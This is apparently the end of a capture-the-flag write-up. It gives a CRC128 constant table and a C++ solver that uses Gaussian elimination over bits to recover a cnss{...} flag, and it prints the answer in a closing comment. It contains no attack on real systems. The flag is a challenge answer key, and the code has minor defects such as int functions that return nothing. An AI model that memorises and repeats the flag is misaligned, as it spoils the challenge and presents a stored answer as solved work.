,0x1C,0x2A,0x3C,0x0CA,0x4B,0x1,0x0F6,0x93,0x0DA,0x0CA,0x0E2,0x0BA,0x0C7,0x0B,0x8F,0x9 ,0x8B,0x2B,0x9D,0x27,0x8D,0x0E7,0x44,0x9C,0x5C,0x0AC,0x0B9,0x16,0x0B1,0x0AD,0x98,0x0EB ,0x0F9,0x0D4,0x0FD,0x7C,0x0CF,0x45,0x0D5,0x66,0x21,0x8E,0x70,0x8D,0x9C,0x0CF,0x95,0x0B5 ,0x6E,0x0D5,0x5C,0x91,0x9,0x0A3,0x67,0x69,0x0A7,0x0E8,0x2B,0x21,0x0EA,0x69,0x82,0x57 ,0x24,0x7E,0x44,0x5E,0x0DC,0x3,0x1A,0x0B4,0x6F,0x5F,0x27,0x0CF,0x48,0x1C,0x91,0x1A ,0x0B3,0x7F,0x0E5,0x0B3,0x1A,0x0E5,0x0A8,0x0BB,0x0E9,0x39,0x7C,0x63,0x3E,0x0BA,0x86,0x0F8 ,0x0B0,0x28,0x75,0x0C0,0x77,0x42,0x0E1,0x0E,0x0FE,0x30,0x3E,0x13,0x0D,0x0F7,0x0B7,0x80 ,0x27,0x29,0x0D4,0x2D,0x0B1,0x0A4,0x53,0x1,0x78,0x56,0x65,0x0BF,0x7B,0x51,0x0A0,0x62 ,0x6D,0x82,0x0CC,0x0E2,0x64,0x4,0x2E,0x0DC,0x0B0,0x0E1,0x69,0x51,0x0D9,0x24,0x0B3,0x2F ,0x0FA,0x83,0x6D,0x0F,0x0A2,0x0E2,0x9C,0x0D3,0x36,0x87,0x32,0x0FD,0x0AF,0x82,0x0A4,0x0CD ,0x6B,0x2C,0x0EC,0x5,0x0BE,0x4A,0x0BD,0x0B6,0x9F,0x0F3,0x0ED,0x0B1,0x0BF,0x0BE,0x0D1,0x0DF ,0x0FC,0x2D,0x4D,0x0E8,0x78,0x0AC,0x0F,0x0B9,0x19,0x95,0x0B6,0x1D,0x0C9,0x18,0x0C6,0x3D ,0x0B6,0x86,0x55,0x27,0x0AD,0x0C,0x72,0x64,0x0D1,0x22,0x0BA,0x0F3,0x6B,0x6D,0x0D5,0x70 ,0x21,0x87,0x0F4,0x0CA,0x6B,0x0EA,0x0C0,0x6B,0x57,0x44,0x0E1,0x5F,0x1D,0x0CB,0x0C2,0x92 ,0x22,0x0D0,0x64,0x0B9,0x6,0x4D,0x89,0x0DE,0x40,0x4D,0x0A3,0x2F,0x2E,0x86,0x0F3,0x0EA ,0x0B5,0x0D1,0x0C5,0x54,0x0C0,0x0AB,0x3B,0x0D1,0x0C6,0x2B,0x0F8,0x83,0x58,0x20,0x0E4,0x8 ,0x0FF,0x7A,0x0DD,0x9B,0x15,0x0B,0x46,0x0C,0x0E,0x9C,0x0F4,0x6D,0x0FA,0x55,0x0F7,0x45 ,0x68,0x7B,0x7C,0x76,0x0D3,0x0ED,0x0F4,0x3,0x88,0x0FA,0x0AF,0x0C1,0x8C,0x0F3,0x0E0,0x0A7 ,0x0DD,0x25,0x0DE,0x8E,0x2D,0x5B,0x5,0x0C6,0x5C,0x75,0x4A,0x0F4,0x0DA,0x2D,0x1D,0x61 ,0x4A,0x24,0x7F,0x63,0x0EB,0x0BD,0x0B7,0x0C9,0x0DA,0x13,0x11,0x58,0x0AC,0x8B,0x0A,0x83 ,0x0,0x8F,0x67,0x0AC,0x3E,0x1D,0x0CA,0x14,0x12,0x0A4,0x1D,0x0B6,0x0E,0x0FE,0x19,0x0CE ,0x97,0x8E,0x0C6,0x41,0x0F8,0x0FB,0x78,0x1B,0x94,0x0C2,0x46,0x1A,0x78,0x58,0x0E,0x2C ,0x94,0x0D9,0x56,0x32,0x95,0x5C,0x31,0x0AE,0x83,0x0CB,0x4,0x6A,0x4B,0x15,0x3F,0x54 ,0x3,0x0D8,0x0F7,0x0DF,0x53,0x0BA,0x83,0x0A1,0x5,0x0AD,0x5F,0x0C6,0x3D,0x0B3,0x28,0x0B6 ,0x49,0x73,0x0EF,0x10,0x86,0x1A,0x0FE,0x7C,0x0CD,0x1A,0x53,0x28,0x9F,0x0C6,0x3B,0x0FB ,0x0DE,0x72,0x4E,0x0FD,0x40,0x0FC,0x4C,0x73,0x4B,0x7C,0x8,0x84,0x0E9,0x60,0x2C,0x19 ,0x4F,0x0DD,0x0CF,0x0F7,0x5C,0x54,0x6D,0x16,0x0E2,0x8,0x0D7,0x0C8,0x0F9,0x5C,0x59,0x0B ,0x0D8,0x0DC,0x6E,0x1A,0x9A,0x0B2,0x0DF,0x19,0x64,0x6E,0x8C,0x64,0x8F,0x0FA,0x4E,0x0E9 ,0x92,0x77,0x76,0x0D5,0x4F,0x12,0x0A2,0x0C4,0x0AC,0x0D9,0x80,0x8A,0x2D,0x8F,0x5D,0x0A4 ,0x5,0x76,0x0D7,0x38,0x89,0x0F4,0x10,0x0CB,0x2A,0x0BF,0x0DB,0x26,0x5B,0x29,0x4A,0x46 ,0x6,0x21,0x47,0x4B,0x0E4,0x53,0x59,0x7E,0x3D,0x0B6,0x99,0x56,0x68,0x64,0x7B,0x3E ,0x91,0x20,0x0E6,0x0A6,0x22,0x0B5,0x0EB,0x71,0x0BB,0x0D0,0x0C2,0x0FA,0x1E,0x0C2,0x6C,0x0DC ,0x0DB,0x8B,0x0FE,0x69,0x0F7,0x15,0x96,0x0AC,0x73,0x67,0x0CE,0x14,0x0BC,0x0B7,0x7F,0x91 ,0x4C,0x8A,0x5F,0x84,0x31,0x0F3,0x24,0x0A3,0x0F5,0x1,0x95,0x0B8,0x0CA,0x11,0x68,0x73 ,0x42,0x9F,0x41,0x61,0x94,0x0F3,0x0DF,0x0EA,0x98,0x64,0x0E4,0x65,0x29,0x94,0x0AF,0x77 ,0x0D5,0x9E,0x0E0,0x8C,0x52,0x15,0x6D,0x0E5,0x1E,0x2,0x0BF,0x0C9,0x5F,0x32,0x0B8,0x95 ,0x9F,0x35,0x0F8,0x43,0x87,0x0B5,0x10,0x38,0x0D6,0x0B5,0x0B3,0x27,0x0FD,0x47,0x0AB,0x0D8 ,0x8,0x34,0x59,0x0AE,0x41,0x53,0x0A2,0x37,0x50,0x0D3,0x0E8,0x8B,0x8B,0x0E1,0x0BC,0x3A ,0x0B,0x63,0x0C9,0x0DD,0x2C,0x0F4,0x0EB,0x82,0x47,0x0DA,0x0AA,0x0FB,0x0B8,0x0AC,0x8D,0x42 ,0x9C,0x62,0x68,0x30,0x0EA,0x12,0x59,0x8D,0x0C1,0x0BC,0x0F1,0x57,0x0CE,0x0A,0x9A,0x0A0 ,0x0D6,0x0C9,0x70,0x0FF,0x3F,0x0B2,0x24,0x50,0x9,0x0B,0x0FD,0x0B9,0x6C,0x7F,0x89,0x0ED ,0x41,0x0C8,0x0D1,0x12,0x0F9,0x54,0x96,0x5F,0x8F,0x6D,0x0A6,0x15,0x1A,0x0D9,0x9E,0x0F ,0x0D0,0x67,0x50,0x18,0x0E5,0x0FC,0x0B7,0x3A,0x26,0x19,0x79,0x59,0x0A,0x0E5,0x0EB,0x1D ,0x47,0x66,0x0F1,0x0F5,0x23,0x1A,0x5,0x35,0x0A0,0x7F,0x22,0x0F5,0x7C,0x43,0x0FC,0x0FF ,0x0D,0x0CD,0x0E9,0x3A,0x0F6,0x0BA,0x78,0x0E8,0x68,0x0C8,0x2E,0x1B,0x0DE,0x36,0x0EF,0x0B2 ,0x9A,0x0CC,0x48,0x0D7,0x30,0x5C,0x0CA,0x0E7,0x0EE,0x0AE,0x75,0x0B7,0x0A8,0x90,0x0F8,0x50 ,0x99,0x9B,0x0D8,0x0A4,0x5D,0x0FB,0x83,0x52,0x0F9,0x0A7,0x37,0x0C7,0x9B,0x0DD,0x0C9,0x28 ,0x0E,0x9A,0x79,0x49,0x9B,0x1D,0x31,0x5D,0x7F,0x0C1,0x6C,0x6B,0x0ED,0x7B,0x0DE,0x0CA ,0x44,0x31,0x61,0x86,0x4E,0x0BD,0x4C,0x80,0x0B7,0x76,0x60,0x85,0x4F,0x0E,0x0CD,0x87 ,0x0D3,0x30,0x0C0,0x6B,0x88,0x5B,0x0FE,0x8F,0x31,0x10,0x3B,0x29,0x39,0x0A8,0x0DA,0x65 ,0x66,0x6E,0x62,0x93,0x76,0x0ED,0x0F,0x4A,0x0E5,0x9F,0x0DE,0x1C,0x6F,0x76,0x27,0x0A3 ,0x0F1,0x6F,0x0C3,0x7E,0x0B0,0x0B,0x0BD,0x45,0x63,0x0F9,0x85,0x0B0,0x19,0x0D0,0x30,0x41 ,0x0BB,0x0C4,0x0DB,0x0B1,0x65,0x0AB,0x0C0,0x98,0x0AB,0x4E,0x89,0x5E,0x0BB,0x0A5,0x23,0x0C ,0x2C,0x0C5,0x7A,0x5C,0x0A3,0x4D,0x72,0x97,0x2D,0x28,0x0D2,0x0F2,0x0CD,0x3,0x34,0x0EE ,0x2F,0x92,0x0EA,0x2F,0x0CE,0x0EA,0x3B,0x22,0x3A,0x21,0x90,0x82,0x0FE,0x4E,0x5,0x96 ,0x0B8,0x93,0x4B,0x0C2,0x8,0x0C,0x89,0x2D,0x0BC,0x47,0x0CB,0x2E,0x88,0x0E8,0x12,0x74 ,0x0F2,0x38,0x53,0x0D,0x0DD,0x0AC,0x0F4,0x0F0,0x74,0x0F0,0x0C7,0x0C0,0x2A,0x9D,0x1,0x39 ,0x65,0x39,0x0F2,0x0E0,0x1B,0x4A,0x46,0x0FF,0x0F2,0x96,0x9C,0x6C,0x5C,0x3B,0x16,0x0DB ,0x0F4,0x96,0x73,0x0EA,0x7,0x0E2,0x67,0x9A,0x5B,0x0E2,0x43,0x20,0x4C,0x7,0x63,0x0C9 ,0x63,0x97,0x0D2,0x7,0x0C1,0x4,0x0D5,0x95,0x0DD,0x84,0x18,0x8C,0x3A,0x0A1,0x74,0x2B ,0x29,0x3C,0x0CA,0x0C8,0x14,0x0A4,0x0A8,0x48,0x15,0x33,0x14,0x62,0x98,0x0D4,0x67,0x66 ,0x0BE,0x3D,0x6B,0x25,0x0D2,0x42,0x1A,0x47,0x93,0x55,0x4F,0x0CE,0x0EE,0x72,0x70,0x84 ,0x0BD,0x6A,0x0FB,0x56,0x0BF,0x0E5,0x53,0x0F2,0x84,0x5C,0x0D,0x0BE,0x0DD,0x3F,0x41,0x0FC ,0x2A,0x6B,0x5A,0x0BB,0x79,0x3,0x0E1,0x0FD,0x2,0x3A,0x56,0x12,0x0AB,0x99,0x56,0x1E ,0x60,0x0C0,0x42,0x74,0x0AC,0x0A3,0x9C,0x20,0x0CA,0x8D,0x5A,0x0FC,0x9,0x0EC,0x45,0x53 ,0x0F7,0x0C1,0x0E3,0x99,0x6A,0x45,0x2E,0x2F,0x4C,0x0EB,0x1,0x50,0x7F,0x4A,0x52,0x0B1 ,0x7C,0x0EA,0x7E,0x0BE,0x0E7,0x0A2,0x6A,0x0B3,0x10,0x47,0x0B8,0x46,0x0CE,0x0E7,0x0CA,0x5A ,0x0EB,0x0EB,0x0DF,0x53,0x21,0x44,0x0D8,0x0BC,0x96,0x21,0x0E3,0x0EA,0x0B8,0x41,0x0DD,0x0B8 ,0x0A1,0x40,0x0C7,0x9C,0x0F4,0x0E4,0x0A5,0x61,0x5E,0x96,0x0EF,0x4,0x1A,0x34,0x0CE,0x0F5 ,0x36,0x41,0x66,0x71,0x32,0x2,0x17,0x6E,0x0D8,0x0F0,0x0B4,0x0A8,0x6C,0x92,0x0D9,0x17 ,0x35,0x16,0x0F6,0x2,0x5F,0x0A5,0x5E,0x0DB,0x0CF,0x0F9,0x0F6,0x0D8,0x5F,0x0DF,0x0E8,0x6F ,0x0A2,0x17,0x57,0x0EF,0x99,0x43,0x0EC,0x0D4,0x49,0x9F,0x0AD,0x74,0x29,0x79,0x0FF,0x8D ,0x0E8,0x0BC,0x4F,0x20,0x4C,0x0E3,0x91,0x9,0x81,0x28,0x0A1,0x9A,0x8B,0x0C,0x0EC,0x0C0 ,0x7F,0x0BD,0x0EE,0x0CD,0x8A,0x5,0x23,0x6,0x7,0x4E,0x0FA,0x36,0x0FD,0x0AA,0x0FB,0x22 ,0x0EE,0x12,0x6F,0x0C7,0x96,0x0AD,0x2,0x63,0x0AE,0x3A,0x25,0x7A,0x0ED,0x96,0x8E,0x30 ,0x79,0x13,0x0CE,0x2A,0x50,0x4B,0x0B0,0x6C,0x28,0x5C,0x7E,0x0D6,0x9B,0x30,0x99,0x0D2 ,0x33,0x0B8,0x0D6,0x0E5,0x85,0x0EB,0x0CD,0x0B1,0x0E0,0x0EB,0x72,0x38,0x39,0x45,0x8A,0x9F ,0x0A4,0x0B9,0x77,0x8,0x43,0x0D,0x7F,0x0BE,0x66,0x8D,0x29,0x94,0x4F,0x0E3,0x9D,0x7D ,0x0A7,0x0EE,0x0E7,0x7B,0x2E,0x0AA,0x36,0x0B,0x71,0x84,0x6B,0x0E4,0x7C,0x0AE,0x0AC,0x5 ,0x30,0x0EF,0x46,0x96,0x0E8,0x4C,0x84,0x4,0x0F7,0x0E2,0x30,0x48,0x0A,0x8,0x0BB,0x0E7 ,0x7A,0x44,0x5E,0x59,0x3D,0x0EC,0x0F9,0x0D9,0x3F,0x55,0x3C,0x0A6,0x0A8,0x7D,0x0A8,0x0AA ,0x0ED,0x45,0x0FF,0x0B4,0x0FB,0x0A,0x4B,0x0D6,0x0B9,0x33,0x67,0x0A,0x0DE,0x0DB,0x0BF,0x48 ,0x58,0x1B,0x5D,0x4C,0x5,0x0BC,0x0BA,0x13,0x6D,0x0BC,0x82,0x3F,0x88,0x5,0x42,0x8E ,0x0CF,0x1A,0x0FC,0x0A1,0x0C3,0x5A,0x8,0x1C,0x0EB,0x0DA,0x0D9,0x93,0x0FE,0x0A3,0x55,0x6C ,0x85,0x0B1,0x0E4,0x6E,0x16,0x0FA,0x75,0x0C1,0x23,0x6D,0x0D5,0x7D,0x5C,0x0D6,0x46,0x21 ,0x12,0x0B0,0x45,0x83,0x0D0,0x1C,0x0C7,0x0CE,0x0A5,0x0B,0x8E,0x0D1,0x2A,0x70,0x51,0x0C3 ,0x11,0x0E7,0x0D5,0x0F0,0x0BD,0x0BB,0x8E,0x7B,0x0B2,0x2,0x0CC,0x0A1,0x19,0x3D,0x60,0x0BB ,0x86,0x0E6,0x74,0x1D,0x7B,0x5D,0x3C,0x74,0x34,0x64,0x97,0x0D,0x6F,0x9B,0x77,0x59 ,0x0CC,0x4D,0x6C,0x0D2,0x0AE,0x0FD,0x41,0x0A9,0x0FC,0x0D3,0x9B,0x0E3,0x0CD,0x0EE,0x64,0x14 ,0x5B,0x4C,0x0CD,0x3F,0x68,0x1B,0x0F3,0x0A6,0x7A,0x0B5,0x0C0,0x4F,0x0BB,0x48,0x73,0x0F6 ,0x0CA,0x0E3,0x4C,0x35,0x74,0x0B3,0x0D2,0x0C3,0x0D3,0x0C1,0x1F,0x3,0x0AB,0x74,0x6,0x0E4 ,0x5D,0x0E2,0x0ED,0x0D8,0x0B2,0x55,0x60,0x0CC,0x55,0x0A7,0x44,0x0AF,0x0DD,0x0D2,0x11,0x6 ,0x17,0x49,0x0F5,0x17,0x67,0x0F5,0x1D,0x11,0x9D,0x10,0x48,0x41,0x7F,0x0A7,0x2,0x4B ,0x80,0x48,0x54,0x0FA,0x0A1,0x13,0x0AF,0x1E,0x1B,0x76,0x13,0x0ED,0x9,0x1,0x15,0x0A9 ,0x83,0x1F,0x0C4,0x89,0x0CC,0x0B4,0x0E6,0x0AB,0x0C,0x7F,0x51,0x9D,0x3A,0x4C,0x24,0x0D1 ,0x14,0x1E,0x65,0x64,0x0A,0x52,0x54,0x0A4,0x8A,0x19,0x0A,0x31,0x4C,0x0EA,0x33,0x33 ,0x5E,0x0B5,0x7D,0x0AB,0x0DF,0x0F2,0x29,0x79,0x42,0x0AE,0x6,0x0DF,0x0EE,0x9F,0x20,0x7E ,0x0C9,0x0B4,0x0DC,0x46,0x19,0x14,0x9B,0x76,0x0C4,0x0C8,0x5D,0x73,0x98,0x39,0x37,0x9C ,0x0C7,0x0A1,0x0C2,0x0A3,0x0BC,0x14,0x60,0x3F,0x0A9,0x0AD,0x2C,0x0AE,0x7B,0x0BC,0x0F0,0x98 ,0x50,0x0A0,0x63,0x4E,0x7A,0x0F2,0x0D2,0x30,0x2F,0x0CB,0x77,0x2,0x0D,0x1A,0x0E7,0x7A ,0x1A,0x0B,0x7B,0x81,0x0AF,0x52,0x0AF,0x0ED,0x0E7,0x7C,0x7B,0x0EC,0x0AF,0x6F,0x0F4,0x37 ,0x8D,0x0A,0x0DA,0x6C,0x69,0x0B4,0x1D,0x0E2,0x61,0x1A,0x20,0x40,0x0D9,0x0C9,0x0E3,0x0D5 ,0x8E,0x5D,0x4A,0x1F,0x4,0x13,0x54,0x57,0x76,0x13,0x62,0x30,0x0EA,0x84,0x0D2,0x0AD ,0x19,0x5C,0x0EB,0x0F2,0x0C2,0x0F5,0x0E6,0x58,0x0F0,0x75,0x39,0x9C,0x9C,0x22,0x0C5,0x4F ,0x53,0x0F7,0x0F3,0x3D,0x17,0x55,0x9B,0x85,0x38,0x0C2,0x35,0x72,0x3E,0x57,0x0D6,0x2 ,0x0C4,0x0F6,0x52,0x0D0,0x0D1,0x0B3,0x29,0x8A,0x0BE,0x0A4,0x6E,0x0DE,0x48,0x0F1,0x0C1,0x0E0 ,0x55,0x59,0x0D3,0x0DA,0x0CD,0x1B,0x8,0x0EF,0x17,0x0D0,0x0B1,0x92,0x58,0x0CD,0x0B4,0x0F2 ,0x0C2,0x58,0x72,0x37,0x0B,0x0FD,0x0BA,0x0E0,0x91,0x0B6,0x0EA,0x3E,0x2E,0x6B,0x0A3,0x10 ,0x88,0x0F3,0x6A,0x0F8,0x0DE,0x5D,0x0C7,0x3D,0x59,0x1,0x0E6,0x0D0,0x8C,0x1E,0x0B0,0x5D ,0x1F,0x0F2,0x0CB,0x15,0x18,0x0BB,0x75,0x32,0x0DF,0x67,0x0BD,0x7C,0x0FA,0x0B8,0x0A7,0x0BF ,0x1C,0x0A5,0x5B,0x66,0x75,0x1C,0x3C,0x87,0x0C8,0x6E,0x0FF,0x0C,0x0C9,0x0F5,0x96,0x0C7 ,0x8B,0x0A4,0x0FA,0x8B,0x0B3,0x0FA,0x8E,0x88,0x4E,0x8,0x0A4,0x0A0,0x0BF,0x53,0x81,0x25 ,0x0C1,0x0F,0x0E2,0x44,0x66,0x5A,0x0F3,0x55,0x86,0x0BF,0x0A8,0x4E,0x1D,0x26,0x92,0x68 ,0x56,0x0E,0x43,0x0A9,0x0A0,0x0BC,0x41,0x5A,0x0,0x0D9,0x0F3,0x0E2,0x6B,0x80,0x85,0x8A ,0x0E3,0x50,0x0E1,0x51,0x5E,0x0A,0x0B0,0x9F,0x0D4,0x56,0x16,0x0D7,0x3D,0x5E,0x78,0x4C ,0x74,0x51,0x40,0x0BC,0x98,0x0EC,0x2,0x90,0x52,0x30,0x4D,0x7B,0x4B,0x0F8,0x6F,0x0AE ,0x3E,0x0FA,0x58,0x73,0x4D,0x4C,0x7F,0x4D,0x9A,0x87,0x41,0x95,0x0E9,0x8D,0x7C,0x0E3 ,0x0A9,0x0FB,0x0F9,0x9E,0x8B,0x0AA,0x0CD,0x42,0x1C,0x0E1,0x1A,0x39,0x9F,0x2B,0x6B,0x1 ,0x0AA,0x0AC,0x69,0x0ED,0x0E6,0x0D,0x84,0x0F7,0x0B,0x0E8,0x58,0x49,0x0AC,0x66,0x5A,0x79 ,0x3D,0x0AD,0x0C8,0x0,0x20,0x0EB,0x36,0x0F8,0x8D,0x8E,0x3,0x0E5,0x0DA,0x0C0,0x4D,0x9B ,0x77,0x6,0x0D0,0x0CF,0x0F5,0x4B,0x4B,0x25,0x45,0x39,0x0F,0x0B,0x78,0x0B5,0x5E,0x0D6 ,0x0E0,0x7,0x71,0x22,0x33,0x0AD,0x0F9,0x2A,0x0C3,0x5F,0x54,0x0A7,0x0E,0x13,0x49,0x34 ,0x71,0x0A8,0x0F0,0x28,0x2F,0x5,0x0D8,0x4F,0x6A,0x2B,0x8B,0x0EB,0x1E,0x2F,0x3C,0x26 ,0x0E6,0x0A9,0x51,0x0C5,0x0E9,0x0E3,0x6A,0x40,0x0EC,0x4D,0x0D0,0x47,0x68,0x89,0x2B,0x0C4 ,0x0AC,0x2,0x49,0x0A,0x3C,0x43,0x17,0x9D,0x24,0x0FA,0x0DC,0x0A9,0x0CA,0x0FC,0x38,0x89 ,0x3B,0x3,0x0E8,0x0E7,0x0FA,0x0A5,0x0A5,0x92,0x0A2,0x9C,0x87,0x5,0x0BC,0x5A,0x2F,0x6B ,0x38,0x54,0x78,0x94,0x97,0x2,0x0EC,0x27,0x0B5,0x95,0x0C5,0x75,0x8F,0x17,0x1E,0x13 ,0x0AF,0x55,0x0D9,0x79,0x51,0x0E4,0x5E,0x28,0x33,0x0F3,0x9E,0x0D9,0x0F9,0x0B1,0x9,0x0F1 ,0x0E5,0x0FE,0x0C1,0x0B6,0x84,0x44,0x23,0x0F5,0x0FB,0x44,0x92,0x37,0x5B,0x0C4,0x1A,0x0BC ,0x72,0x0FF,0x60,0x5B,0x42,0x0A2,0x91,0x0FA,0x7D,0x22,0x0C9,0x9B,0x2D,0x62,0x0D,0x5E };

上邊是計算CRC128時用到的常量表，因為太長了所以單獨取出來折疊一下，核心求解代碼在下邊

#define _CRT_SECURE_NO_WARNINGS #include <cstdio> #include <cstdlib> #include <string> #include <iostream>
using namespace std; unsigned char xcode[16]; unsigned char input[] = "cnss{\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0}"; string flip[128]; string crc[128]; string inputstr[128]; string noflip; char buf[30]; char buf2[30]; int a[128][128+1],n=128,ans[128]; int table[128*128]; int noflipbin[128]; int mktable() { //printf("%d\n", sizeof(key));
    for (int i = 0; i < 16; i++) input[5 + i] = 0x00; for (int i = 0; i < 16; i++) xcode[i] = 0xFF; for (int i = 0; i < 22; i++) { int idx = input[i] ^ xcode[0]; for (int j = 0; j < 15; j++) xcode[j] = xcode[j + 1]; xcode[15] = 0; for (int j = 0; j < 16; j++) xcode[j] ^= key[idx * 16 + j]; } for (int i = 0; i < 16; i++) { _itoa(xcode[i], buf, 2); sprintf(buf2, "%08s", buf); noflip += buf2; } for (int i=0;i<128;i++) noflipbin[i]=noflip[i]-'0'; cout << noflip << endl; for (int f=0;f<128;f++) { int cnt = f; for (int i = 0; i < 16; i++) { unsigned int bt=0; for (int j = 0; j < 8; j++) { bt = (bt << 1) + (cnt == 0 ? 1 : 0); cnt--; } input[5 + i] = bt; } inputstr[f] = ""; for (int i = 0; i < 16; i++) { _itoa(input[5 + i], buf, 2); sprintf(buf2, "%08s", buf); inputstr[f] += buf2; } for (int i = 0; i < 16; i++) xcode[i] = 0xFF; for (int i = 0; i < 22; i++) { int idx = input[i] ^ xcode[0]; for (int j = 0; j < 15; j++) xcode[j] = xcode[j + 1]; xcode[15] = 0; for (int j = 0; j < 16; j++) xcode[j] ^= key[idx * 16 + j]; } for (int i = 0; i < 16; i++) { _itoa(xcode[i], buf, 2); sprintf(buf2,"%08s", buf); crc[f] += buf2; } for (int i = 0; i < 128; i++) { flip[f] += (((crc[f][i] == noflip[i]) ? '0' : '1') == inputstr[f][i]) ? "0" : "1"; table[f*128+i] = (((crc[f][i] == noflip[i]) ? '0' : '1') == inputstr[f][i]) ? 0 : 1; } cout << flip[f] << endl; } } void gauss() { for(int i=0;i<n;i++) { int j=i; while(j<n&&!a[j][i])j++; if(j>=n)continue; if(i!=j)for(int k=0;k<n+1;k++)swap(a[i][k],a[j][k]); for(int j=0;j<n;j++) if(i!=j&&a[j][i]) for(int k=0;k<n+1;k++) a[j][k]^=a[i][k]; } } void dfs(int now) { if(now<0) { printf("cnss{"); for (int i=0;i<16;i++) { int t=0; for (int j=0;j<8;j++) t=t*2+ans[i*8+j]; printf("%02x",t); } printf("}"); printf("\n"); for (int i=0;i<n;i++) printf("%d,",ans[i]); printf("\n"); return; } if(a[now][now]) { int t=a[now][n]; for(int i=now+1;i<n;i++) if(a[now][i]) t^=ans[i]; ans[now]=t; dfs(now-1); } else { ans[now]=1;dfs(now-1); ans[now]=0;dfs(now-1); } } int xorsolve() { for (int i=0;i<n;i++) { for (int j=0;j<n;j++) a[i][j]=table[128*j+i]; a[i][n]=noflipbin[i]; } gauss(); for(int i=0;i<n;i++) { for(int j=0;j<n+1;j++) printf("%d ",a[i][j]); printf("\n"); } dfs(n-1); } int main() { mktable(); xorsolve(); } //cnss{39e77cc4d9a23eed051bb30029bff4f0}